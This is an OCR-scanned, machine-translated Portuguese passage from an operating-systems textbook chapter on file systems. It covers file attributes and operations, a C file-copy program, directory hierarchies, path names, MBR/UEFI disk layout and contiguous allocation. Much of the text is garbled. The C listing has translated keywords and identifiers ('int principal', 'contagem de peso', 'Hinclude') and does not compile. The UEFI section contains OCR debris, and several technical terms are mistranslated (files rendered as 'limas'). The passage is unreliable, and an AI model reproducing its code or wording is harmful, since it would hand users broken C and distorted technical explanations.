Sinalizador de acesso aleatório D apenas para acesso sequencial; 1 para acesso aleatório 


Bandeira temporária O para normal; 1 para excluir arquivo na saída do processo 
Bloquear sinalizadores O para desbloqueado; diferente de zero para bloqueado 

Duração do registro Número de bytes em um registro 

Posição chave Deslocamento da chave dentro de cada registro 

Comprimento da chave Número de bytes no campo chave 

Hora de criação Data e hora em que o arquivo foi criado 

Hora do último acesso Data e hora em que o arquivo foi acessado pela última vez 


Hora da última alteração Data e hora em que o arquivo foi alterado pela última vez 


Tamanho atual Número de bytes no arquivo 


Tamanho máximo Número de bytes que o arquivo pode atingir 


Figura 4-5. Alguns possíveis atributos de arquivo. 


é um bit que monitora se o backup do arquivo foi feito recentemente. O programa de backup o limpa e o sistema 
operacional o define sempre que um arquivo é alterado. 
Dessa forma, o programa de backup pode informar quais arquivos precisam de backup. O sinalizador temporário 
permite que um arquivo seja marcado para exclusão automática quando o processo que 
criou ele termina. 

Os campos de comprimento de registro, posição-chave e comprimento-chave estão presentes apenas em arquivos 
cujos registros podem ser consultados por meio de uma chave. Eles fornecem as informações necessárias 
para encontrar as chaves. 

Os horários registram quando o arquivo foi criado, acessado mais recentemente e 
modificado mais recentemente. Eles são úteis para diversos fins. Por exemplo, um 
arquivo de origem que foi modificado após a criação do arquivo de objeto correspondente 
precisa ser recompilado. Esses campos fornecem as informações necessárias. 

O tamanho atual informa o tamanho do arquivo no momento. Alguns sistemas operacionais de mainframe 
antigos exigiam que o tamanho máximo fosse especificado quando o arquivo era criado, 
para permitir que o sistema operacional reserve a quantidade máxima de armazenamento em 
avançar. Felizmente, os sistemas operacionais de computadores pessoais são inteligentes o suficiente para fazer 
sem esse recurso hoje em dia. 
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4.1.6 Operações de Arquivo 


Os arquivos existem para armazenar informações e permitir que elas sejam recuperadas posteriormente. 
Sistemas diferentes fornecem operações diferentes para permitir armazenamento e recuperação. Abaixo está 


uma discussão das chamadas de sistema mais comuns relacionadas a arquivos. 


1. Crie. O arquivo é criado sem dados. O objetivo da chamada é anunciar que o arquivo está 
chegando e definir alguns dos atributos. 


2. Excluir. Quando o arquivo não for mais necessário, ele deverá ser excluído para liberar espaço 
em disco. Sempre há uma chamada de sistema para essa finalidade. 


3. Abra. Antes de usar um arquivo, um processo deve abri-lo. O objetivo da chamada aberta é 
permitir que o sistema busque os atributos e a lista de endereços de disco na memória principal 
para acesso rápido em chamadas posteriores. 


4. Fechar. Quando todos os acessos forem finalizados, os atributos e endereços de disco não serão 
mais necessários, portanto o arquivo deverá ser fechado para liberar espaço de tabela interno. 
Muitos sistemas incentivam isso impondo um número máximo de arquivos abertos aos 
processos. Um disco é gravado em blocos e o fechamento de um arquivo força a gravação do 
último bloco do arquivo, mesmo que esse bloco ainda não esteja totalmente cheio. 


5. Leia. Os dados são lidos do arquivo. Geralmente, os bytes vêm da posição atual. O cnamador 
deve especificar quantos dados são necessários e também fornecer um buffer para colocá-los. 


6. Escreva. Os dados são gravados novamente no arquivo, geralmente na posição atual. Se a 
posição atual for o final do arquivo, o tamanho do arquivo aumentará. Se a posição atual estiver 
no meio do arquivo, os dados existentes serão substituídos e perdidos para sempre. 


7. Anexar. Esta chamada é uma forma restrita de escrita. Ele pode adicionar dados apenas ao final 
do arquivo. Sistemas que fornecem um conjunto mínimo de chamadas de sistema raramente 


possuem acréscimo, mas alguns sistemas possuem essa chamada. 


8. Procure. Para arquivos de acesso aleatório, é necessário um método para especificar de onde 
obter os dados. Uma abordagem comum é uma chamada de sistema, seek, que reposiciona o 
ponteiro do arquivo para um local específico no arquivo. Após a conclusão desta chamada, os 
dados podem ser lidos ou gravados nessa posição. 


9. Obtenha atributos. Os processos geralmente precisam ler atributos de arquivo para realizar seu 


trabalho. Por exemplo, o programa make do UNIX é comumente usado para gerenciar projetos 
de desenvolvimento de software que consistem em muitos arquivos de origem. Quando make 
é chamado, ele examina os tempos de modificação de todos os arquivos fonte e objeto e 
organiza o número mínimo de compilações necessárias para atualizar tudo. Para fazer o seu 
trabalho, deve observar os atributos, nomeadamente, os tempos de modificação. 
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10. Defina atributos. Alguns dos atributos podem ser configurados pelo usuário e podem 


ser alterados após a criação do arquivo. Esta chamada de sistema torna isso 
possível. As informações do modo de proteção são um exemplo óbvio. 


A maioria das bandeiras também se enquadra nesta categoria. 


11. Renomeie. Esta chamada não é essencial porque um arquivo que precisa ser 


renomeado pode ser copiado e então o arquivo original excluído. No entanto, 
renomear um filme de 50 GB copiando-o e excluindo o original levará muito tempo. 


4.1.7 Um exemplo de programa usando chamadas de sistema de arquivos 


Nesta seção, examinaremos um programa UNIX simples que copia um arquivo de seu 
arquivo de origem para um arquivo de destino. Ele está listado na Figura 4-6. O programa tem 
funcionalidade mínima e relatórios de erros ainda piores, mas dá uma ideia razoável de como 
funcionam algumas das chamadas do sistema relacionadas aos arquivos. 

O programa, copyfile, pode ser chamado, por exemplo, pela linha de comando 


copiar arquivo abc xyz 


para copiar o arquivo abc para xyz. Se xyz já existir, ele será substituído. Caso contrário, ele será 
criado. O programa deve ser chamado com exatamente dois argumentos, ambos nomes de 
arquivo legais. A primeira é a fonte; o segundo é o arquivo de saída. 

As quatro instruções include próximas ao topo do programa fazem com que um grande 
número de definições e protótipos de funções sejam incluídos no programa. Estes são necessários 
para tornar o programa em conformidade com as normas internacionais relevantes, mas não nos 
interessarão mais. A próxima linha é um protótipo de função para main, algo exigido pela ANSI 
C, mas também não importante para nossos propósitos. 

A primeira instrução define é uma definição de macro que define a cadeia de caracteres 
BUF SIZE como uma macro que se expande para o número 4096. O programa irá ler e escrever 
em pedaços de 4096 bytes. É considerada uma boa prática de programação dar nomes a 
constantes como esta. A segunda instrução 4define determina quem pode acessar o arquivo de 
saída. 

O programa principal é chamado main e possui dois argumentos, argc e argv. 

Eles são fornecidos pelo sistema operacional quando o programa é chamado. A primeira informa 
quantas strings estavam presentes na linha de comando que invocou o programa, incluindo o 
nome do programa. Deveria ser 3. O segundo é uma matriz de ponteiros para os argumentos. Na 
chamada de exemplo fornecida acima, os elementos desta matriz conteriam ponteiros para os 
seguintes valores: 


argv[0] = "copiar 
arquivo” argv[1] 
= "abc" argv[2] = "xyz" 


É através deste array que o programa acessa seus argumentos. 
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/* Programa de cópia de arquivo. A verificação e o relatório de erros são mínimos. */ 


*include <sys/types.h> Hinclude /* inclui os arquivos de cabeçalho necessários */ 
<fcntl.h> ginclude 


<stdlib.h> ginclude 


<unistd.h> 

int principal(int argc, char *argv[]); / * Protótipo ANSI */ 

#define TAMANHO BUF 4096 /* usa um tamanho de buffer de 4096 bytes */ / * 
#define MODO DE SAÍDA 0700 bits de proteção para arquivo de saída */ 


int principal(int argc, char *argv[]) { 


int em fd, fora de fd, contagem de rd, contagem de peso; 
buffer de caracteres[TAMANHO BUF]; 


if (argc! = 3) saída (1); /* erro de sintaxe se argc não for 3 */ 


/* Abra o arquivo de entrada e crie o arquivo de saída */ in fd = 

open(argv[1], O RDONLY); /* abre o arquivo fonte */ if (in fd < 0) exit(2); / * se não puder ser 
aberto, saia */ out fd = creat(argv[2], OUTPUT MODE): /* cria o arquivo de destino */ if (out fd < 0) 
exit(3); / * se não puder ser criado, saia */ — 


/* Loop de cópia */ 

while (TRUE) { rd 
count = read(in fd, buffer, BUF SIZE); /* lê um bloco de dados */ if (rd count <= 0) break; 
contagem de peso = gravação /* se fim do arquivo ou erro, sai do loop */ 


(saída fd, buffer, contagem rd); /* escreve dados */ if (wt count <= 0) exit(4); 
/* contagem de peso <= 0 é um erro */ 


/* Fecha os arquivos */ 


close(in fd); 
fechar(fora fd); if 
(contagem == 0) exit(0); /* nenhum erro na última leitura */ 


outro 
saída(5); /* erro na última leitura */ 


Figura 4-6. Um programa simples para copiar um arquivo. 
SP 1v 


Cinco variáveis são declaradas. Os dois primeiros, in fd e out fd, conterão os descritores de 
arquivo, pequenos números inteiros retornados quando um arquivo é aberto. Os próximos dois, rd 
counte wt count, são as contagens de bytes retornadas pelas chamadas de sistema de leitura e 


gravação , respectivamente. O último, buffer, é o buffer usado para armazenar os dados lidos e 
fornecer os dados a serem gravados. 
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A primeira instrução real verifica argc para ver se é 3. Caso contrário, ela sai com o código 
de status 1. Qualquer código de status diferente de O significa que ocorreu um erro. O código de 
status é o único relatório de erros presente neste programa. Uma versão de produção normalmente 
também imprimiria mensagens de erro. 

Em seguida, tentamos abrir o arquivo de origem e criar o arquivo de destino. Se o arquivo 
de origem for aberto com sucesso, o sistema atribui um número inteiro pequeno a in fd, para 
identificar o arquivo. As chamadas subsequentes devem incluir esse número inteiro para que o 
sistema saiba qual arquivo deseja. Da mesma forma, se o destino for criado com sucesso, out fd 
receberá um valor para identificá-lo. O segundo argumento para criar define o modo de proteção. 
Se a abertura ou a criação falharem, o descritor de arquivo correspondente será definido como 1 
e o programa será encerrado com um código de erro. 

Agora vem o ciclo de cópia. Ele começa tentando ler 4 KB de dados no buffer. 

Isso é feito chamando o procedimento da biblioteca read, que na verdade invoca a chamada de 
sistema read . O primeiro parâmetro identifica o arquivo, o segundo fornece o buffer e o terceiro 
informa quantos bytes devem ser lidos. O valor atribuído a rd count fornece o número de bytes 
realmente lidos. Normalmente, será 4096, exceto se restarem menos bytes no arquivo. Quando 

o final do arquivo for atingido, será 0. Se a contagem rd for zero ou negativa, a cópia não poderá 
continuar, então a instrução break é executada para encerrar o loop (de outra forma interminável). 


A chamada para write envia o buffer para o arquivo de destino. O primeiro parâmetro 
identifica o arquivo, o segundo fornece o buffer e o terceiro informa quantos bytes escrever, de 
forma análoga à leitura. Observe que a contagem de bytes é o número de bytes realmente lidos, 
não o BUF SIZE. Este ponto é importante porque a última leitura não retornará 4096, a menos 
que o arquivo seja um múltiplo de 4 KB. 

Quando todo o arquivo for processado, a primeira chamada após o final do arquivo retornará 
O para a contagem rd, o que fará com que ele saia do loop. Neste ponto, os dois arquivos são 
fechados e o programa sai com um status indicando encerramento normal. 

Embora as chamadas de sistema do Windows sejam diferentes daquelas do UNIX, a 
estrutura geral de um programa de linha de comando do Windows para copiar um arquivo é 
moderadamente semelhante à da Figura 4.6. Examinaremos as chamadas do Windows no Cap. 11. 


4.2 DIRETÓRIOS 


Para controlar os arquivos, os sistemas de arquivos normalmente possuem diretórios ou 
pastas, que são arquivos. Nesta seção discutiremos os diretórios, sua organização, suas 
propriedades e as operações que podem ser realizadas neles. 


4.2.1 Sistemas de diretório de nível único 


A forma mais simples de sistema de diretórios é ter um diretório contendo todos os arquivos. 
Às vezes é chamado de diretório raiz, mas como é o único, o nome não importa muito. Nos 
primeiros computadores pessoais, este sistema era 
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comum, em parte porque havia apenas um usuário. Curiosamente, o primeiro supercomputador 
do mundo, o CDC 6600, também tinha apenas um único diretório para todos os arquivos, embora 
fosse usado por muitos usuários ao mesmo tempo. Esta decisão foi sem dúvida tomada para 
manter o design do software simples. 

Um exemplo de sistema com um diretório é dado na Figura 4.7. Aqui o diretório contém 
quatro arquivos. As vantagens desse esquema são sua simplicidade e a capacidade de localizar 
arquivos rapidamente — afinal, há apenas um lugar para procurar. Às vezes, ainda é usado em 
dispositivos embarcados simples, como câmeras digitais e alguns reprodutores de música 
portáteis. 


| |-—Diretório raiz 


Figura 4-7. Um sistema de diretório de nível único contendo quatro arquivos. 


O biólogo Ernst Haeckel disse uma vez que “a ontogenia recapitula a filogenia”. Não é 
totalmente preciso, mas há um fundo de verdade nisso. Algo análogo acontece no mundo da 
informática. Algum conceito estava em voga, digamos, nos computadores mainframe, depois foi 
descartado à medida que se tornaram mais poderosos, mas foi retomado mais tarde nos minicomputadores. 
Depois foi descartado lá e posteriormente recolhido em computadores pessoais. Depois foi 
descartado lá e posteriormente recolhido mais abaixo na cadeia alimentar. 
Portanto, frequentemente vemos conceitos (como ter um diretório para todos os arquivos) 
não mais usados em computadores poderosos, mas agora sendo usados em dispositivos 
embarcados simples, como câmeras digitais e tocadores de música portáteis. Por esse motivo, 
neste capítulo (e, na verdade, em todo o livro), discutiremos frequentemente ideias que já foram 
populares em mainframes, minicomputadores ou computadores pessoais, mas que desde então 
foram descartadas. Esta não é apenas uma boa lição histórica, mas muitas vezes essas ideias 
fazem todo o sentido em dispositivos ainda de baixo custo. O chip do seu cartão de crédito 
realmente não precisa do sistema de diretório hierárquico completo que estamos prestes a 
explorar. O sistema de arquivos simples usado no supercomputador CDC 6600 na década de 
1960 funcionará perfeitamente, obrigado. Então, quando você ler sobre algum conceito antigo 
aqui, não pense “quão antiquado”. Pense: isso funcionaria em um chip RFID (Identificação por 
Radiofrequência)? que custa 5 centavos e é usado em um cartão de pagamento de transporte público? Talvez. 


4.2.2 Sistemas de Diretórios Hierárquicos 


O nível único é adequado para aplicações dedicadas muito simples (e foi usado até nos 
primeiros computadores pessoais), mas para usuários modernos com milhares de arquivos, seria 
impossível encontrar alguma coisa se todos os arquivos estivessem em um único diretório. 
Consequentemente, é necessária uma maneira de agrupar arquivos relacionados. Um professor, 
por exemplo, pode ter uma coleção de arquivos que juntos formam um livro que ele está 
escrevendo, uma segunda coleção contendo programas de estudantes submetidos para outro curso, 
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um terceiro grupo contendo o código de um sistema avançado de escrita de compiladores que ela está 
construindo, um quarto grupo contendo propostas de financiamento, bem como outros arquivos para 
correio eletrônico, atas de reuniões, artigos que ela está escrevendo, jogos e assim por diante. 

O que é necessário é uma hierarquia (isto é, uma árvore de diretórios). Com essa abordagem, 
pode haver quantos diretórios forem necessários para agrupar os arquivos de maneira natural. 
Além disso, se vários usuários compartilharem um servidor de arquivos comum, como é o caso em 
muitas redes corporativas, cada usuário poderá ter um diretório raiz privado para sua própria hierarquia. 
Essa abordagem é mostrada na Figura 4.8. Aqui, os diretórios A, Be C contidos no diretório raiz 
pertencem, cada um, a um usuário diferente, dois dos quais criaram subdiretórios para projetos nos 
quais estão trabalhando. 


| —— Diretório raiz 


Diretório de usuári 


Subdiretórios de usuário 


Figura 4-8. Um sistema de diretório hierárquico. 


A capacidade dos usuários criarem um número arbitrário de subdiretórios fornece uma poderosa 
ferramenta de estruturação para os usuários organizarem seu trabalho. Por esta razão, todos os 
sistemas de arquivos modernos são organizados desta maneira. É importante notar que um sistema de 
arquivos hierárquico é uma das muitas coisas lançadas pela Multics na década de 1960. 


4.2.3 Nomes de caminhos 


Quando o sistema de arquivos é organizado como uma árvore de diretórios, é necessário algum 
meio para especificar nomes de arquivos. Dois métodos diferentes são comumente usados. No primeiro 
método, cada arquivo recebe um nome de caminho absoluto que consiste no caminho do diretório raiz 
até o arquivo. Por exemplo, o caminho /usr/ast/ mailbox significa que o diretório raiz contém um 
subdiretório usr, que por sua vez contém um subdiretório ast, que contém o arquivo mailbox. Os nomes 
de caminhos absolutos sempre começam no diretório raiz e são exclusivos. No UNIX os componentes 
do caminho são separados por /. 

No Windows o separador é No MULTICS era >. Assim, o mesmo nome de caminho seria escrito da 
seguinte forma nestes três sistemas: 


Windows lusrasticaixa de correio 
UNIX /usr/ast/caixa de correio 


MULTICS >usr>ast>caixa de correio 
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Não importa qual caractere seja usado, se o primeiro caractere do nome do caminho for o separador, o 
caminho será absoluto. 
O outro tipo de nome é o nome do caminho relativo. Isso é usado em conjunto 
com o conceito de diretório de trabalho (também chamado de diretório atual). A 
o usuário pode designar um diretório como o diretório de trabalho atual; nesse caso, todos 
nomes de caminhos que não começam no diretório raiz são considerados relativos ao trabalho 
diretório. Por exemplo, se o diretório de trabalho atual for /usr/hjb, então o arquivo 
cujo caminho absoluto é /usr/hjb/ mailbox pode ser referenciado simplesmente como caixa de correio. Em 
outras palavras, o comando UNIX 


cp /usr/hjb/caixa de correio /usr/hjb/mailbox.bak 


e o comando 


caixa de correio cp mailbox.bak 


faça exatamente a mesma coisa se o diretório de trabalho for /usr/hjb. A forma relativa é 
geralmente é mais conveniente, mas faz a mesma coisa que a forma absoluta. 

Alguns programas precisam acessar um arquivo específico independentemente de qual seja o 
diretório de trabalho. Nesse caso, eles devem sempre usar nomes de caminhos absolutos. Para 
por exemplo, um corretor ortográfico pode precisar ler /usr/lib/ dictionary para fazer seu trabalho. 
Ele deve usar o nome completo e absoluto do caminho neste caso porque não sabe 
qual será o diretório de trabalho quando for chamado. O nome do caminho absoluto será 
sempre funciona, não importa qual seja o diretório de trabalho. 

Claro, se o corretor ortográfico precisar de um grande número de arquivos de /usr/ lib, 
uma abordagem alternativa é emitir uma chamada de sistema para alterar seu diretório de trabalho para / 
usr/lib e então usar apenas o dicionário como o primeiro parâmetro a ser aberto. Por 
alterando explicitamente o diretório de trabalho, ele sabe com certeza onde está na árvore de diretórios, 
então pode usar caminhos relativos. 

Cada processo possui seu próprio diretório de trabalho. Quando ele muda seu diretório de trabalho 
e sai posteriormente, nenhum outro processo é afetado e nenhum vestígio da mudança 
são deixados para trás. Desta forma, um processo pode alterar seu diretório de trabalho sempre que 
é conveniente. Por outro lado, se um procedimento de biblioteca altera o diretório de trabalho e não volta 
para onde estava quando foi concluído, o restante do 
programa pode não funcionar, pois sua suposição sobre onde ele está agora pode ser subitamente 
inválido. Por esta razão, os procedimentos da biblioteca raramente mudam o diretório de trabalho, 
e quando necessário, eles sempre alteram novamente antes de retornar. 

A maioria dos sistemas operacionais que suportam um sistema de diretório hierárquico possui dois 
entradas especiais em cada diretório, "." e "..", geralmente pronunciadas "ponto" e 
"pontoponto." Ponto refere-se ao diretório atual; ponto refere-se ao seu pai (exceto em 
o diretório raiz, onde se refere a si mesmo). Para ver como eles são usados, considere o 
Árvore de arquivos UNIX da Figura 4-9. Um determinado processo tem /usr/ast como diretório de trabalho. 
Pode usar .. para subir mais alto na árvore. Por exemplo, ele pode copiar o arquivo /usr/lib/dictionary 
para seu próprio diretório usando o comando 


cp ../lib/dicionário. 
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O primeiro caminho instrui o sistema a subir (para o diretório usr ) e, em seguida, descer até o diretório 


lib para encontrar o dicionário de arquivos. 


Diretório raiz 


caixa k tmp 


= Jusrihjb 


Figura 4-9. Uma árvore de diretórios UNIX. 


O segundo argumento (ponto) nomeia o diretório atual. Quando o comando cp obtém um nome de 


diretório (incluindo ponto) como último argumento, ele copia todos os arquivos para esse diretório. 


Claro, uma maneira mais normal de fazer a cópia seria usar o nome do caminho absoluto completo do 


arquivo de origem: 


cp /usr/lib/dicionário. 


Aqui, o uso do ponto evita ao usuário o trabalho de digitar o dicionário uma segunda vez. 
Mesmo assim, digitando 


cp /usr/lib/dictionary dicionário y 


também funciona bem, assim como 


cp /usr/lib/dictionary /usr/ast/dictionar y 


Todos estes fazem exatamente a mesma coisa. 
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4.2.4 Operações de diretório 


As chamadas de sistema permitidas para gerenciamento de diretórios apresentam mais 
variações de sistema para sistema do que as chamadas de sistema para arquivos. Para dar uma 
ideia do que são e como funcionam, daremos uma amostra (retirada do UNIX). 


1. Crie. Um diretório é criado. Está vazio, exceto ponto e ponto, que são colocados lá 
automaticamente pelo programa mkdir . 


2. Excluir. Um diretório é excluído. Somente um diretório vazio pode ser excluído. Um 
diretório contendo apenas ponto e ponto é considerado vazio, pois não pode ser 
excluído. 


3. Abradir. Os diretórios podem ser lidos. Por exemplo, para listar todos os arquivos em 
um diretório, um programa de listagem abre o diretório para ler os nomes de todos 
os arquivos que ele contém. Antes que um diretório possa ser lido, ele deve ser 
aberto, de forma análoga à abertura e leitura de um arquivo. 


4. Fechar. Quando um diretório for lido, ele deve ser fechado para liberar 
espaço de tabela interno. 


5. Leiadir. Esta chamada retorna a próxima entrada em um diretório aberto. Por exemplo, 
era possível ler diretórios usando a chamada de sistema read usual , mas essa 
abordagem tem a desvantagem de forçar o programador a conhecer e lidar com a 
estrutura interna dos diretórios. 

Por outro lado, readdir sempre retorna uma entrada em um formato padrão, 
independentemente de qual das possíveis estruturas de diretório está sendo usada. 


6. Renomeie. Em muitos aspectos, os diretórios são como arquivos e podem ser 


renomeado da mesma forma que os arquivos podem ser. 


7. Vincular. Vincular é uma técnica que permite que um arquivo apareça em mais de um 
diretório. Esta chamada de sistema especifica um arquivo existente e um nome de 
caminho e cria um link do arquivo existente para o nome especificado pelo caminho. 
Desta forma, o mesmo arquivo pode aparecer em vários diretórios. Um link desse 
tipo, que incrementa o contador no i-node do arquivo (para controlar o número de 
entradas do diretório que contém o arquivo), às vezes é chamado de link físico. 


8. Desvincular. Uma entrada de diretório é removida. Se o arquivo que está sendo desvinculado 
estiver presente apenas em um diretório (o caso normal), ele será removido do sistema de 
arquivos. Se estiver presente em vários diretórios, somente o nome do caminho especificado 
será removido. Os outros permanecem. No UNIX, a chamada do sistema para exclusão de 
arquivos (discutida anteriormente) é, na verdade, unlink. 


A lista acima apresenta as cnamadas mais importantes, mas também existem algumas outras, por 
exemplo, para gerenciar as informações de proteção associadas a um diretório. 
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Uma variante da ideia de vincular arquivos é o link simbólico (às vezes chamado de atalho ou 
alias). Em vez de ter dois nomes apontando para a mesma estrutura de dados interna que representa 
um arquivo, pode-se criar um nome que aponte para um arquivo minúsculo nomeando outro arquivo. 
Quando o primeiro arquivo é utilizado, por exemplo, aberto, o sistema de arquivos segue o caminho 
e encontra o nome no final. Em seguida, ele inicia todo o processo de pesquisa usando o novo nome. 
Os links simbólicos têm a vantagem de poder cruzar os limites do disco e até mesmo nomear arquivos 
em computadores remotos. Porém, sua implementação é um pouco menos eficiente do que links 
físicos. 


4.3 IMPLEMENTAÇÃO DO SISTEMA DE ARQUIVOS 


Agora é hora de passar da visão do sistema de arquivos do usuário para a visão do mentor do 
implemento. Os usuários estão preocupados com a forma como os arquivos são nomeados, quais 
operações são permitidas neles, a aparência da árvore de diretórios e problemas de interface semelhantes. 
Os implementadores estão interessados em como os arquivos e diretórios são armazenados, como o 
espaço em disco é gerenciado e como fazer tudo funcionar de maneira eficiente e confiável. Nas 


seções seguintes, examinaremos algumas dessas áreas para ver quais são os problemas e as 
compensações. 


4.3.1 Layout do sistema de arquivos 


Os sistemas de arquivos são armazenados em discos. A maioria dos discos pode ser dividida em 
uma ou mais partições, com sistemas de arquivos independentes em cada partição. O layout depende 
se você tem um computador antigo com BIOS e um registro mestre de inicialização ou um sistema 
moderno baseado em UEFI. 


Old School: o registro mestre de inicialização 


Em sistemas mais antigos, o setor O do disco é chamado de MBR (Master Boot Record) e é 
usado para inicializar o computador. O final do MBR contém a tabela de partições. Esta tabela fornece 
os endereços inicial e final de cada partição. Uma das partições da tabela está marcada como ativa. 
Quando o computador é inicializado, o BIOS lê e executa o MBR. A primeira coisa que o programa 
MBR faz é localizar a partição ativa, ler seu primeiro bloco, que é chamado de bloco de inicialização, 
e executá-lo. O programa no bloco de inicialização carrega o sistema operacional contido naquela 
partição. Para uniformidade, cada partição começa com um bloco de inicialização, mesmo que não 
contenha um sistema operacional inicializável. Além disso, pode conter um no futuro. 


Além de começar com um bloco de inicialização, o layout de uma partição de disco varia muito 
de sistema de arquivos para sistema de arquivos. Frequentemente, o sistema de arquivos conterá 
alguns dos itens mostrados na Figura 4.10. O primeiro é o superbloco. Ele contém todos os 
parâmetros-chave sobre o sistema de arquivos e é lido na memória quando o computador é inicializado ou 
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o sistema de arquivos é tocado primeiro. As informações típicas do superbloco incluem um 
número mágico para identificar o tipo de sistema de arquivos, o número de blocos no sistema de 
arquivos e outras informações administrativas importantes. 


<—["""""""""" Disco inteiro 


Tabela de partição Partição de disco E a 


Bloco de inicialização Superblock E$paço livre mgmt I-nodes | cmo | Arquivos e diretórios 


Figura 4-10. Um possível layout do sistema de arquivos. 


Em seguida podem vir informações sobre blocos livres no sistema de arquivos, por exemplo 
na forma de um bitmap ou de uma lista de ponteiros. Isso pode ser seguido pelos i-nodes, 
uma matriz de estruturas de dados, uma por arquivo, contando tudo sobre o arquivo. Depois disso talvez 


vem o diretório raiz, que contém o topo da árvore do sistema de arquivos. finalmente, o 
o restante do disco contém todos os outros diretórios e arquivos. 


Nova escola: interface de firmware extensível unificada 


Infelizmente, a inicialização da maneira descrita acima é lenta, dependente da arquitetura e 
limitada a discos menores (até 2 TB) e, portanto, a Intel propôs o UEFI (Unified Extensible Firmware 
Interface) como substituto. é 
agora a forma mais popular de inicializar sistemas de computadores pessoais. Ele corrige muitos dos 
problemas do BIOS e MBR antigos: inicialização rápida, arquiteturas diferentes e 
tamanhos de disco de até 8 ZiB. Também é bastante complexo. 

Em vez de depender de um Master Boot Record residente no setor O do boot 
dispositivo, a UEFI procura a localização da tabela de partição no segundo bloco de 
o dispositivo. Reserva o primeiro bloco como um marcador especial para software que espera 
um MBR aqui. O marcador diz essencialmente: Não há MBR aqui! 

A GPT (Tabela de Partição GUID), por sua vez, contém informações sobre o 
localização das várias partições no disco. GUID significa globalmente único 
identificadores. Conforme mostrado na Figura 4-11, a UEFI mantém um backup do GPT no último 
bloquear. Um GPT contém o início e o fim de cada partição. Assim que o GPT for encontrado, 

o firmware possui funcionalidade suficiente para ler sistemas de arquivos de tipos específicos. 
De acordo com o padrão UEFI, o firmware deve suportar pelo menos tipos de sistema de arquivos FAT. 
Um desses sistemas de arquivos é colocado em uma partição de disco especial, conhecida como 
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Partição do sistema EFI (ESP). Em vez de um único setor mágico de inicialização, o processo de inicialização 
agora pode usar um sistema de arquivos adequado contendo programas, arquivos de DO e 
qualquer outra coisa que ke Ce a inicialização. Além disso, a U 


firmware para poder execu MD um formato específico, a 
Executável). Em outras pala ab UEFI parece um pequeno siste QD: Go 


sistema em si com uma conpgpapaSo ifiôrições de disco, sistemas de e e a ES 


o DO TO a © 


Bloco 0 Bloco 1 ! Começar Fim = Bloco N 


Espaço para sistemas Partição 
k Parti 4 
legados que Cabeçalho da tabela i 


Partição 


Cabeçalho da tabela 
espere MBR aqui 


E T T 
GPT Partição de muitos blocos Backup GPT 


Figura 4-11. Layout para UEFI com tabela de partição. 


4.3.2 Implementando Arquivos 


Provavelmente a questão mais importante na implementação do armazenamento de arquivos é manter 
rastrear quais blocos de disco acompanham qual arquivo. Vários métodos são usados em diferentes sistemas 
operacionais. Nesta seção, examinaremos alguns deles. 


Alocação Contigua 


O esquema de alocação mais simples é armazenar cada arquivo como uma execução contigua de disco 
blocos. Assim, em um disco com blocos de 1 KB, um arquivo de 50 KB receberia 50 blocos consecutivos. Com 
blocos de 2 KB, seriam alocados 25 blocos consecutivos. 

Vemos um exemplo de alocação de armazenamento contíguo na Figura 4.12(a). Aqui o 
os primeiros 40 blocos de disco são mostrados, começando com o bloco 0 à esquerda. Inicialmente, o disco 
estava vazio. Então um arquivo A, de quatro blocos de comprimento, foi gravado no disco começando no 
início (bloco 0). Depois disso, um arquivo de seis blocos, B, foi escrito começando logo após 
o final do arquivo A. 

Observe que cada arquivo começa no início de um novo bloco, de modo que se o arquivo A fosse realmente 
3% blocos, algum espaço é desperdiçado no final do último bloco. Na figura, um total 
de sete arquivos são mostrados, cada um começando no bloco seguinte ao final do 
o anterior. O sombreamento é usado apenas para facilitar a distinção entre os arquivos. Não tem 
significado real em termos de armazenamento. 

A alocação contígua de espaço em disco tem duas vantagens significativas. Primeiro, é 
simples de implementar porque controlar onde estão os blocos de um arquivo é reduzido 
lembrar dois números: o endereço do disco do primeiro bloco e o número de 
blocos no arquivo. Dado o número do primeiro bloco, o número de qualquer outro 


bloco pode ser encontrado por uma simples adição. 
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Arquivo A Arquivo C Arquivo E Arquivo G 
(4 blocos) (6 blocos) (12 blocos) (3 blocos) 
r ` r o r ` preie 
a a) a | 
Arquivo B Arquivo D Arquivo F 
(3 blocos) (5 blocos) (6 blocos) 
(a) 
(Arquivo A) (Arquivo C) (Arquivo E) (Arquivo G) 
r ` r ` r ` E == 
E GR i—i Å— 
Arquivo B 5 blocos grátis 6 blocos grátis 


(b) 


Figura 4-12. (a) Alocação contígua de espaço em disco para sete arquivos. (b) O 
estado do disco após a remoção dos arquivos D e F. 


Segundo, o desempenho de leitura é excelente mesmo em um disco magnético porque o 
o arquivo inteiro pode ser lido do disco em uma única operação. Apenas uma busca é necessária 
(para o primeiro bloco). Depois disso, não serão mais necessárias buscas ou atrasos de rotação, então 
os dados chegam em toda a largura de banda do disco. Assim, a alocação contígua é simples 
para implementar e tem alto desempenho. Falaremos sobre acessos sequenciais versus acessos 
aleatórios em SSDs mais tarde. 

Infelizmente, a alocação contígua também tem uma desvantagem muito séria: ao longo do 
com o passar do tempo, o disco fica fragmentado. Para ver como isso acontece, examine a Figura 
4.12(b). Aqui dois arquivos, D e F, foram removidos. Quando um arquivo é 
removido, seus blocos são naturalmente liberados, deixando uma série de blocos livres no disco. 

O disco não é compactado no local para espremer o furo, pois isso 

envolvem copiar todos os blocos após o buraco, potencialmente milhões de blocos, 

o que levaria horas ou até dias com discos grandes. Como resultado, o disco consiste basicamente 
em limas e furos, conforme ilustrado na figura. 

Inicialmente, esta fragmentação não é um problema, pois cada novo arquivo pode ser gravado 
no final do disco, seguindo o anterior. No entanto, eventualmente o disco irá preencher 
e será necessário compactar o disco, o que é proibitivamente 
caro, ou reaproveitar o espaço livre nos furos. A reutilização do espaço exige a manutenção de uma 
lista de furos, o que é factível. No entanto, quando um novo arquivo for criado, 

é necessário saber seu tamanho final para escolher um furo suficientemente grande. 

Imagine as consequências de tal projeto. O usuário inicia um aplicativo de gravação para criar 
um vídeo. A primeira coisa que o programa pergunta é quantos 
bytes será o vídeo final. A pergunta deve ser respondida ou o programa irá 
não continuar. Se o número fornecido se revelar demasiado pequeno, o programa terá de 
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terminar prematuramente porque o orifício do disco está cheio e não há lugar para colocar o restante 
do arquivo. Se o usuário tentar evitar esse problema fornecendo um número irrealisticamente grande 
como tamanho final, digamos, 100 GB, o editor poderá não conseguir encontrar um buraco tão grande 
e anunciar que o arquivo não pode ser criado. É claro que o usuário estaria livre para iniciar o programa 
novamente, digamos 50 GB desta vez, e assim por diante até que um buraco adequado fosse 
localizado. Ainda assim, este esquema provavelmente não deixará usuários satisfeitos. 


Alocação de lista vinculada 


